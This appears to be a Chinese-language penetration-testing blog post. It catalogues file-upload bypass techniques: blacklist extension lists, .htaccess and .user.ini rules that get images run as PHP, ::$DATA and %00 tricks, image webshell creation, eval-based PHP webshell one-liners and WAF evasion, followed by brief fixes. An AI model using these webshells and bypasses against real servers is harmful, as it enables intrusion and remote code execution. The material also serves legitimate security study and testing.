文件上传漏洞

文件上传

文件上传漏洞是指文件上传功能没有对上传的文件做合理严谨的过滤,导致用户可以利用此功能,上传能被服务端解析执行的文件,并通过此文件获得执行服务端命令的能力

上传绕过

类型判断

常规上传

前端绕过

使用Burp等抓包工具修改文件后缀/类型

后端绕过

文件上传常见验证:

  • 后缀名,类型,文件头等
  • 后缀名:黑名单,白名单
  • 文件类型:MTME信息
  • 文件头:文件数据头部信息

黑名单绕过

尝试特殊后缀(可能未过滤完全)

利用Burp fuzz测试
PHP:

".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml"

JSP:

".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml"

ASP:

".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf"
后缀大小写绕过

躲避黑名单检测

重写解析规则

php.ini是php的一个全局配置文件,对整个web服务起作用;而.user.ini和.htaccess一样是目录的配置文件,.user.ini就是用户自定义的一个php.ini,我们可以利用这个文件来构造后门和隐藏后门。

(1)Apache下 非nts版本PHP时:利用.htaccess文件绕过
条件:LoadModule rewrite_module modules/mod_rewrite.so rewrite模块为开启状态

在当前目录下,只针对gif文件会解析成Php代码执行

<IfModule mime_module>
AddHandler php5-script .gif
SetHandler application/x-httpd-php
</IfModule>

在当前目录下,如果匹配到evil.gif文件,则被解析成PHP代码执行

<FilesMatch "evil.gif">
SetHandler application/x-httpd-php
AddHandler php5-script .gif
</FilesMatch>

(2).user.ini

1.php文件作为php文件解析

auto_prepend_file = 1.jpg

将所有后缀为.jpg的文件作为php文件解析

AddType application/x-httpd-php .jpg

将所有文件名包含BaiZe的文件作为php文件解析

<FilesMatch "BaiZe">
setHandler application/x-httpd-phpBZ
文件后缀增加 空格 . _ 尝试绕过(WIndows下)

一般用于Windows服务器,添加空格躲避黑名单检测,上传后系统系统自动去除文件名中空格。

::$DATA绕过

在Windows的时候如果"文件名"+"::$DATA" 会把"::$DATA"之后的数据当成文件流处理,不会检测后缀名,且保持"::$DATA"之前的文件名

例:filename="1.php::$DATA"

替换文件名中敏感词

一次过滤:可以双写绕过
循环过滤:较为安全

白名单绕过

%00绕过 终止符

%00只针对GET传参,POST传参不能识别URL编码,所以需要在POST内容中进行URL解码 或 修改Hex值为00

图片内容及其它

文件头检测

修改文件头信息或使用图片马

图片马绕过

copy pho.jpg/b+hack.php/a hack.jpg
利用copy命令合成图片马,配合解析漏洞执行

二次渲染 条件竞争逻辑绕过(针对先上传再检测的web网站)

上传生成木马 不断上传并尝试访问 直到执行成功

file_put_contents('2.php','<?php eval($_REQUEST[shell])?>');
文件路径控制

upload/upload-19.php/.
upload/upload-19.php[截断].jpg

数组绕过

当后端用数组判断文件后缀
可直接上传对应数组绕过检测
黑盒时依次遍历数组元素,传输规定后缀测试是否为数组后缀检测

内容检测绕过
<script language="php">eval($_POST['1']);</script>
<? eval($_POST['1']);?>
<?=?>
<%=%>

编辑器上传点

关键词:Editor
查版本 找历史漏洞EXP fuzz

CMS上传点

CMS识别->历史漏洞搜集->尝试利用

其它/CVE

  • 文件包含漏洞

  • 文件解析漏洞

WAF绕过

上传参数解析

Content-Disposition:	一般可更改
name:					表单参数值,不能更改
filename:				文件名,可以更改
Content-Type:			文件MIME,视情况更改

常见绕过

数据溢出-防匹配(·) 文件名之前大量 垃圾数据+';'

符号变异-防匹配 ' " ; 文件名引号变换 后加分号 去一个引号

数据截断-防匹配 %00 ; 换行 / .php%00.jpg x.jpg;.php .php中间换行

重复数据-防匹配(参数多次) 复写filename等参数 最后一个改为php

文件上传修复

  • 后瑞验证:采用服务瑞验证模式

  • 后缀检测:基于黑名单,白名单过滤

  • MIME检测:基于上传自带类型检测

  • 内容检测:文件头,完整性检测

  • 自带函数过滤:参考upload-labs函数

  • 自定义函数过滤:function check file(){}时

  • 防护产品:宝塔,云盾,安全狗等

posted @ 2022-08-28 14:19  Haibara-Z3r0  阅读(247)  评论(0编辑  收藏  举报